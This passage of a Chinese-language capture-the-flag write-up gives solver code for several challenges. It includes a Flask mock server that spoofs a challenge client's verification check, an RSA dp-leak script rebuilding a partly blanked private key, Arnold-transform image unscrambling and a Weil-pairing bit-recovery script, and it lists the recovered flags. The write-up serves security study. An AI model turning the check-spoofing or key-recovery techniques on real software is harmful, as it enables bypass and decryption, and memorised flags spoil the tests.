{'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'26': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'26': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'26': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'26': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'26': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'26': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'26': {'401cd362359df071260aebf71836d52b': '500'}}, {'26': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'26': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'26': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'26': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'26': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'26': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'26': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'26': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'26': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'26': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'26': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'26': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'26': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'26': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'26': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'26': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'26': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'26': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'26': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'26': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'26': {'992793ddb406269517ee56b718bd852b': '500'}}, {'26': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'26': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'26': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'26': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'26': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'26': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'26': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'26': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'26': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'26': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'26': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'26': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'26': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'26': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'26': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'26': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'26': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'26': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'26': {'965f42b413681152fff54b5680495846': '500'}}, {'26': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'26': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'26': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'26': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'26': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'26': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'26': {'09266dcc374f31e877a68697be029f96': '500'}}, {'26': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'26': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'26': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'26': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'26': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'26': {'b89925ff880378f12864cc58202579af': '500'}}, {'26': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '200'}}, {'27': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'27': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'27': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'27': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'27': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'27': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'27': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'27': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'27': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'27': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'27': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'27': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'27': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'27': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'27': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'27': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'27': {'401cd362359df071260aebf71836d52b': '500'}}, {'27': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'27': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'27': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'27': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'27': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'27': {'208530224471663cf2a7ad02a80db28d': '200'}}, {'28': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'28': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'28': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'28': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'28': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'28': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'28': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'28': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'28': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'28': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'28': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'28': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'28': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'28': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'28': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'28': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'28': {'401cd362359df071260aebf71836d52b': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'28': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'28': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'28': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'28': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'28': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'28': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'28': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'28': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'28': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'28': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'28': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'28': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'28': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'28': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'28': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'28': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'28': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'28': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'28': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'28': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'28': {'992793ddb406269517ee56b718bd852b': '500'}}, {'28': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'28': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'28': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'28': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'28': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'28': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'28': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'28': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'28': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'28': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'28': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'28': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'28': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'28': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'28': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'28': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'28': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'28': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'28': {'965f42b413681152fff54b5680495846': '500'}}, {'28': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'28': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'28': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'28': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'28': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'28': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'28': {'09266dcc374f31e877a68697be029f96': '500'}}, {'28': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'28': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'28': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'28': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'28': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'28': {'b89925ff880378f12864cc58202579af': '500'}}, {'28': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'28': {'719aa677366a11a13d6e0fab7fa94126': '500'}}, {'28': {'acbd15e5a36e317de9d853bf24f892a6': '500'}}, {'28': {'1935c0d84acb890657ceb7749ff30a84': '500'}}, {'28': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '500'}}, {'28': {'1b677e57e5b420ed45c45245060500b2': '500'}}, {'28': {'efa87c138fd8a74ceafb49415140a5a9': '500'}}, {'28': {'1c31f3d619908895c04d23a94fb3cdf7': '500'}}, {'28': {'fd4561feb0138817c1940f29c22858db': '500'}}, {'28': {'4816c4bd2975741d6d01a1be192c8bfe': '500'}}, {'28': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4': '500'}}, {'28': {'4a78c7229f44396efdc4dcca286c6350': '500'}}, {'28': {'386ff8133c399caa3e00624c52ccbc52': '500'}}, {'28': {'6fdc923c48f7fa5ee4cf9e2b238ea171': '500'}}, {'28': {'fbcee321e49086351a7220aeea572c99': '500'}}, {'28': {'697e250874a271013fa06c87be84d4c5': '500'}}, {'28': {'b906e90c4be2d07fbc1cb13c9f9398b7': '500'}}, {'28': {'68dba9408af41481b762fa7041e9f7d1': '500'}}, {'28': {'1ecc911fe653ab8ce683906b90078ded': '500'}}, {'28': {'9c95feb5fa37f7ed210eb56bda6dc924': '500'}}, {'28': {'d0cba97b871cf2d12c7ad87b7a8d6d14': '500'}}, {'28': {'ed25379f44ac7ced2f0bf43e0bee0bbd': '500'}}, {'28': {'c94e5da62ee1935b71c0e01a67d2655a': '500'}}, {'28': {'28e766f9f14761895276bd6f8924ecf7': '200'}}, {'29': {'0167400eef2f00e5dafd7644fb3e3d6d': '400'}}, {'29': {'b83b1916ca1cc17552e24ee98cd4518c': '400'}}, {'29': {'cec5d1f92cef379ce26c8e357c4ceb70': '400'}}, {'29': {'df06be27f001e1ccc23b6bac62b76bb8': '400'}}, {'29': {'cf9a2ec2ed360217d8d972da9a73b4b1': '400'}}, {'29': {'06adf343c2d384a7331f00c0c55809ed': '400'}}, {'29': {'6699773c1e813784c53844e1c26b1733': '400'}}, {'29': {'0ce48ad5c646c116691c4451c17dc5a1': '400'}}, {'29': {'6a9a485d4030f9b5558a0c8deb8f77af': '400'}}, {'29': {'0bcb6ffbec5cc87e21cf2139f88e9925': '400'}}, {'29': {'b1c44d950c13191a3808ec76213e2d24': '400'}}, {'29': {'673c781b6772ab7a23674f36593a1ac1': '400'}}, {'29': {'113d16862ee604a9811551bce0c7c490': '400'}}, {'29': {'99b87df1c1386e3f86ba7971c041d933': '400'}}, {'29': {'062352b5435df2f54d41597ad44cf13e': '400'}}, {'29': {'c855c482bf3d5954b6a997127ec1ee94': '400'}}, {'29': {'401cd362359df071260aebf71836d52b': '400'}}, {'29': {'6ec38b6e5e2e62e31015956780cdc5b6': '400'}}, {'29': {'693325d01d8f376c0aa59f2438cd147a': '400'}}, {'29': {'deacdfd6851d72a267f180c269b2578f': '400'}}, {'29': {'efe115fd1235940252113df4a7d00aee': '400'}}, {'29': {'ad8a6adb2196e0e432eda120700a6022': '400'}}, {'29': {'208530224471663cf2a7ad02a80db28d': '400'}}, {'29': {'dadefb8dfc6e229f6a0a4d11e5431085': '400'}}, {'29': {'46db23c2b2efe7f8e7d9ffe4605a4660': '400'}}, {'29': {'b1d18a2f5b6a982883c6728591ca752a': '400'}}, {'29': {'327acfe04c2bdf06fe182c051336fe42': '400'}}, {'29': {'749390ecd8fdb526a21d403c336ff76f': '400'}}, {'29': {'2c59fd9ba8b44eb106bac9379ba8c18e': '400'}}, {'29': {'80ba28c5abee89abe7825b24752c883f': '400'}}, {'29': {'b26e9898be9447069a85d8ee418df985': '400'}}, {'29': {'603d46455bd3c1bfce2f3d1f40006c62': '400'}}, {'29': {'c8e5b12d8205221fcb57700553bc6d1d': '400'}}, {'29': {'5a238d0dbd74be271e70e08697883883': '400'}}, {'29': {'c47e93d8ce347680897b9f8d1e655b3d': '400'}}, {'29': {'ccdc1766c84f74d7376ebc9f13955f15': '400'}}, {'29': {'a79d5e01ceac580f13f98297b25ecfa1': '400'}}, {'29': {'992793ddb406269517ee56b718bd852b': '400'}}, {'29': {'84f0a181277bb584aefccc95c53893eb': '400'}}, {'29': {'b83e7bc066b27a266623ea242c5e97c1': '400'}}, {'29': {'2fb84163fd57517d8c634e24c181185a': '400'}}, {'29': {'9655f71fd39678ecc73b0acd330e1908': '400'}}, {'29': {'625e9ecb22a9e3ef846c944d2eb51482': '400'}}, {'29': {'9732a8c1ee2ac5726d4efa6632c09cf9': '400'}}, {'29': {'a3d278f45936108fb619ddb9a73ee8c0': '400'}}, {'29': {'f288472b37fa6381d1d5df2cc959f7cb': '400'}}, {'29': {'0b4d74254115d12b728a1fa0a02e0b8e': '400'}}, {'29': {'656f0488186619a3078e62362f0ff59a': '400'}}, {'29': {'3fdb45b2c4193be94868dc8937aeaf37': '400'}}, {'29': {'3a008667c35e6d0607999e594a7dc71a': '400'}}, {'29': {'e0b606e18b2ff6699d30a7410fb24e8b': '400'}}, {'29': {'276d47ce4b20547a22b0b830ef12c6da': '400'}}, {'29': {'cc32aa298a593c85f5df37d10b2e8962': '400'}}, {'29': {'d002659ed9981d5b434fc1de217299ac': '400'}}, {'29': {'2d61b93a6ef76fca313e455b7651d7b3': '400'}}, {'29': {'8fa33c27bed861319c6f6830414c3d6b': ''}}, {'200': {'200': ''}}, {'200': {'200': '400'}}, {'29': {'965f42b413681152fff54b5680495846': '400'}}, {'29': {'dd5b5cd51050f4318304ab8a2550f0cc': '400'}}, {'29': {'bed5ba395b238c44d19e6334cdb17f2d': '400'}}, {'29': {'e3d0fa9cca0de20a4e98e079dd7c3069': '400'}}, {'29': {'0880a32e51e1523b61cb60bacdd22d5f': '400'}}, {'29': {'caf345e43a3a4c99b71a8e5a67accb9e': '400'}}, {'29': {'9633b2b0980d5a88a9ca4a18a7c546a7': '400'}}, {'29': {'09266dcc374f31e877a68697be029f96': '400'}}, {'29': {'af7e0c2721a40aae5782d8a15db52767': '400'}}, {'29': {'dde65aa3955c81ebb5773bb87b56acf2': '400'}}, {'29': {'4f2855d8ca0bc9e5fe44f692defecfa0': '400'}}, {'29': {'26ce223ba04a328330a2b38732d67400': '400'}}, {'29': {'5a3409411227c567de7cb8e6d86d7cb4': '400'}}, {'29': {'b89925ff880378f12864cc58202579af': '400'}}, {'29': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '400'}}, {'29': {'719aa677366a11a13d6e0fab7fa94126': '400'}}, {'29': {'acbd15e5a36e317de9d853bf24f892a6': '400'}}, {'29': {'1935c0d84acb890657ceb7749ff30a84': '400'}}, {'29': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '400'}}, {'29': {'1b677e57e5b420ed45c45245060500b2': '400'}}, {'29': {'efa87c138fd8a74ceafb49415140a5a9': '400'}}, {'29': {'1c31f3d619908895c04d23a94fb3cdf7': '400'}}, {'29': {'fd4561feb0138817c1940f29c22858db': '400'}}, {'29': {'4816c4bd2975741d6d01a1be192c8bfe': '400'}}, {'29': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4': '400'}}, {'29': {'4a78c7229f44396efdc4dcca286c6350': '400'}}, {'29': {'386ff8133c399caa3e00624c52ccbc52': '400'}}, {'29': {'6fdc923c48f7fa5ee4cf9e2b238ea171': '400'}}, {'29': {'fbcee321e49086351a7220aeea572c99': '400'}}, {'29': {'697e250874a271013fa06c87be84d4c5': '400'}}, {'29': {'b906e90c4be2d07fbc1cb13c9f9398b7': '400'}}, {'29': {'68dba9408af41481b762fa7041e9f7d1': '400'}}, {'29': {'1ecc911fe653ab8ce683906b90078ded': '400'}}, {'29': {'9c95feb5fa37f7ed210eb56bda6dc924': '400'}}, {'29': {'d0cba97b871cf2d12c7ad87b7a8d6d14': '400'}}, {'29': {'ed25379f44ac7ced2f0bf43e0bee0bbd': '400'}}, {'29': {'c94e5da62ee1935b71c0e01a67d2655a': '400'}}, {'29': {'28e766f9f14761895276bd6f8924ecf7': '400'}}, {'29': {'880825c211c56c63276ada87f6b70e3b': '400'}}]
@app.route('/api/check', methods=['POST'])
def get_response():
# 从请求的表单数据中获取传入的position和hash参数
data = request.form
position = data.get('position', None)
request_hash = data.get('hash', None)
# 检查是否提供了position和hash参数
if not position or not request_hash:
return jsonify({'code': 400, 'message': 'Missing position or hash parameter'}), 400
# 根据position找到对应的内部字典
for item in response_list:
nested_dict = item.get(position)
if nested_dict and request_hash in nested_dict:
# 如果找到匹配的哈希值,返回对应的状态码
return jsonify({'code': 200, 'message': nested_dict[request_hash]}), int(nested_dict[request_hash])
# 如果没有找到匹配的哈希值,返回404 Not Found
return jsonify({'code': 404, 'message': 'Hash not found'}), 404
if __name__ == '__main__':
app.run(debug=True)
用题目的client.exe
指定我们的模拟服务端即可
EzMisc
分析流量包,发现是FTP传输文件的,共下载了三个文件,分别导出一下
其中私钥是残缺的,但是可以利用DP泄露来求出私钥,从而还原私钥流解密密文
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs+6Ep8SasbhvIG62iRgAqppC7E6xtM3edPdn654H0IIJcr3T
sis8OO5JcElSHhJkCkT1xtRgHm1zVyPIpzZTPZY3vMgN+xTuDwn7roPrMJ9oYhUE
8Yt3lBGotOyZh7/fSq/hd9IATqmO3gTgBzQFFPKK+NLHhidYYEkbg7Mj2TCaSOZO
Ztka7LsPfjnr2bo/h3MvJAx86REDO2FXvJAhY9A/ViBatq0pGKD/LioHkwafjd2r
xQA3Sjnur8LxOWeM9nNZkZR4DH/kkxHLKxslRePGkOHbLgwIO9bdplhI1ky7gQpC
Q3moi74VPd88jnngyAftGqm2h0Mw2jVZgwz6RQIDAQABAoIBAENuo1aAjv0Fwtfj
xhLw5OcK8wO+pki9Up6BTff2fLU+1q2iyKCgJWysmOc1A0pz1/wlRfrjArbEjBJf
Pca0zFNrZa4hR2QOvvzx39nSZKUPSL5hZD3l58WdLJ3JgexnExbZfWU7VZQlZX59
Uzw/2Zu1HjIMRGxZeHx1SZN84nV1aMj/9FFlpC54ZG0mz33BsmphKnQTYLlINzQl
laL6ZR5N+/3QoIGj+TNIHkUQhFCR9d285FWIUWEmhh9UE8UwFPw+gaDcrOcVpSpT
hAapMbzBuZ8AAAAAAAAAKLpJRp1+1TmSOtj/eO4sxKXOMdEH1weFCzBUogIKK0H6
VJt6DG0CgYEA7oQV+b31O418CJ3ehDlSjFy3+KdxEXpDujgwP5dwbCenHDNEfx0Y
+TzknEC+A/azdn+AhOQyQAE4xGwygb8i2OPC3ZqOhv26yGhv5WZxG2qsQVMCZYD0
+FCmf656TA2rwx6yRf5UtVBecIhSoUkEekxO0lbiBAAAAAAAAAsmadcCgYEAwR8P
IEpv47T1jla9RTQuSby4eSu3OvrN/SkKPVFui/aDUG/OO0fQzGuEq2rthtXuGBna
Qjvyd+PZngYLn8vHKqmuxAlNUivq3rvGwpayRL83Pts02+4fOa/p7TJkdLlQDHxo
La7sn/SiuAAAAAAAAAeFlii6mTG+kUZ98n3IEUMCgYEAlyQaLNSjpqYkV+16CL2u
QoWqiqXIL3QToNhkMpfLRK3n5iXSnN4aai2dDCq2fhqBZHCtRwi3kvlzOHz7kF5H
PbsuS3DaKk50YvRTG8HLoLz7BLYOSbXrBcNNjpFIrBLpqc4018evc+nGvnaULeHw
NXNPa1hlCNFXgJ4+ne3f/KcCgYEAu0KerDUBoc8KfGbnSH98ksuIJRaaqXog22Y8
I5EenGEAm7KOSzUr5cwr7PvWLnSqVnxbAvaV+mLZ1T0PcHdsPJYkfLp4W0FykV+L
L4xod/jiXPS5oLiZVpqZPgMrHXPDhxfq/MEteTAAAAAAAAApzN0kj6IWrg1qN/we
jFAi+3kCgYABKVPNcN25ZT/FjL4uLKhyu3Q6vgPRQwP//bPlTloenxDT8RN3znpx
qzv0e84HQH5lH/AxNix5eq/apOi8B0q6IW1Fj3ytczR8cvPhCln/zWV/ZXxj6Rul
JR3mGGh3lYDqiTxi+6ZbKqbhc4N7na8VHx+CoAGMqRUFzAAAAAAAAA==
-----END RSA PRIVATE KEY-----
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7
for x in range(1,e): #遍历X
if (dp*e-1)%x==0:
p=(dp*e-1)//x +1
if n%p==0:
q=n//p #得到q
phi=(p-1)*(q-1) #欧拉函数
d=gmpy2.invert(e,phi) #求逆元
print(d)
解密得到密文为M1sc_1s_s0_e@sy!
import gmpy2
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
e = 0x10001
n = 0xb3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
d = 0x436ea356808efd05c2d7e3c612f0e4e70af303bea648bd529e814df7f67cb53ed6ada2c8a0a0256cac98e735034a73d7fc2545fae302b6c48c125f3dc6b4cc536b65ae2147640ebefcf1dfd9d264a50f48be61643de5e7c59d2c9dc981ec671316d97d653b559425657e7d533c3fd99bb51e320c446c59787c7549937ce2757568c8fff45165a42e78646d26cf7dc1b26a612a741360b94837342595a2fa651e4dfbfdd0a081a3f933481e4510845091f5ddbce45588516126861f5413c53014fc3e81a0dcace715a52a538406a931bcc1b99f269282083dc86f28ba49469d7ed539923ad8ff78ee2cc4a5ce31d107d707850b3054a2020a2b41fa549b7a0c6d
# dp泄露攻击, n ,e, d
rsakey = RSA.construct((n, e, d)) # 重构私钥流
# 读取密文流
with open('enc', 'rb') as f:
enc = f.read()
# 私钥流基于OAEP模式进行密钥填充
rsa = PKCS1_OAEP.new(rsakey)
try:
m = rsa.decrypt(enc) # 调用.decrypt()进行解密
print(m) # Assuming the decrypted message is a string
except Exception as ex:
print("Decryption failed:", ex)
压缩包内为一张图片,猜测经过了Arnold变换,爆破一下参数值得到shuffle_times, a, b分别为6, 16, 26
变换回去得到flag为: flag{3089ea1c-23a0-4889-a87f-daabe2f6e1b4}
# -*- coding: UTF-8 -*-
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image
def arnold_encode(image, shuffle_times, a, b):
""" Arnold shuffle for rgb image
Args:
image: input original rgb image
shuffle_times: how many times to shuffle
Returns:
Arnold encode image
"""
# 1:创建新图像
arnold_image = np.zeros(shape=image.shape)
# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = (1*ori_x + b*ori_y)% N
new_y = (a*ori_x + (a*b+1)*ori_y) % N
# 像素赋值
# print(image[ori_x, ori_y, :])
# print(arnold_image[new_x, new_y, :])
arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]
# 更新坐标
image = np.copy(arnold_image)
cv2.imwrite('flag_arnold_encode.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return arnold_image
def arnold_decode(arnold_image, shuffle_times, a, b):
""" Arnold shuffle for rgb image
Args:
arnold_image: input arnold encoded rgb image
shuffle_times: how many times to shuffle
a: element a of the arnold transform matrix
b: element b of the arnold transform matrix
Returns:
Arnold decode image
"""
# 1:创建新图像
decode_image = np.zeros(shape=arnold_image.shape)
# 2:计算N
h, w = arnold_image.shape[0], arnold_image.shape[1]
N = h # 或N=w
# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = arnold_image[ori_x, ori_y, :]
# 更新坐标
arnold_image = np.copy(decode_image)
cv2.imwrite('flag_arnold_decode.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image
img = cv2.imread('flag_arnold_encode.png')
# arnold_encode(img, 6, 16, 26)
arnold_decode(img, 6, 16, 26)
dance
分析题目,可以发现如果把m两两分为一组的话
case1:若连续的m均为1或0,则输出为
或
有
也即两者互逆,但是我们无法直接判断出是0、0还是1、1
case2:若连续的m为1、0,则输出为
有
显然下面的就是上面的求逆再乘上
case3:类似的若连续的m为0、1,则输出为
有
显然下面的就是上面乘上再求逆
我们遍历m,利用case1、2、3进行判断,我们就只剩下几个重复的没有恢复了,然后多次使用case1即可
# sage
from Crypto.Util.number import *
def check(A, B):
aa = A.weil_pairing(G1, o1)
bb = B.weil_pairing(G2, o2)
if aa ^ (-1) == bb:
return 0
if (aa * e) ^ (-1) == bb:
return 1
if aa * e ^ (-1) == bb ^ (-1):
return 2
c = []
p = 0x1A0111EA397FE69A4B1BA7B6434BACD764774B84F38512BF6730D2A0F6B0F6241EABFFFEB153FFFFB9FEFFFFFFFFAAAB
E = EllipticCurve(GF(p), [0, 4])
G1, G2 = E.gens()
o1, o2 = G1.order(), G2.order()
m = []
C = [E(c[3 * i : 3 * i + 3]) for i in range(len(c) // 3)]
e = G2.weil_pairing(G1, o1)
for A, B in zip(C[:-1], C[1:]):
u = check(A, B)
if u == 0:
m.append("x")
elif u == 1:
m.append(0)
elif u == 2:
m.append(1)
else:
print("oops")
break
m += [1]
while 1:
for i, A, B in zip(range(len(m) - 1), C[:-1], C[1:]):
u = check(A, B)
if u == 0 and m[i + 1] != "x":
m[i] = m[i + 1]
if "x" not in m:
break
print(long_to_bytes(int("".join(map(str, m)), 2)))
获得flag为
flag{0331d347-6fd2-4159-9c84-0f78373933bd}
easyvm
程序没有去除符号表,结合静态分析与动态调试即可dump下来opcode
[ 7, 0x101, 3, 0x6701, 0x801, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x6e01, 0x1301, 0xA, 0x1b601, 9, 2, 2, 2,
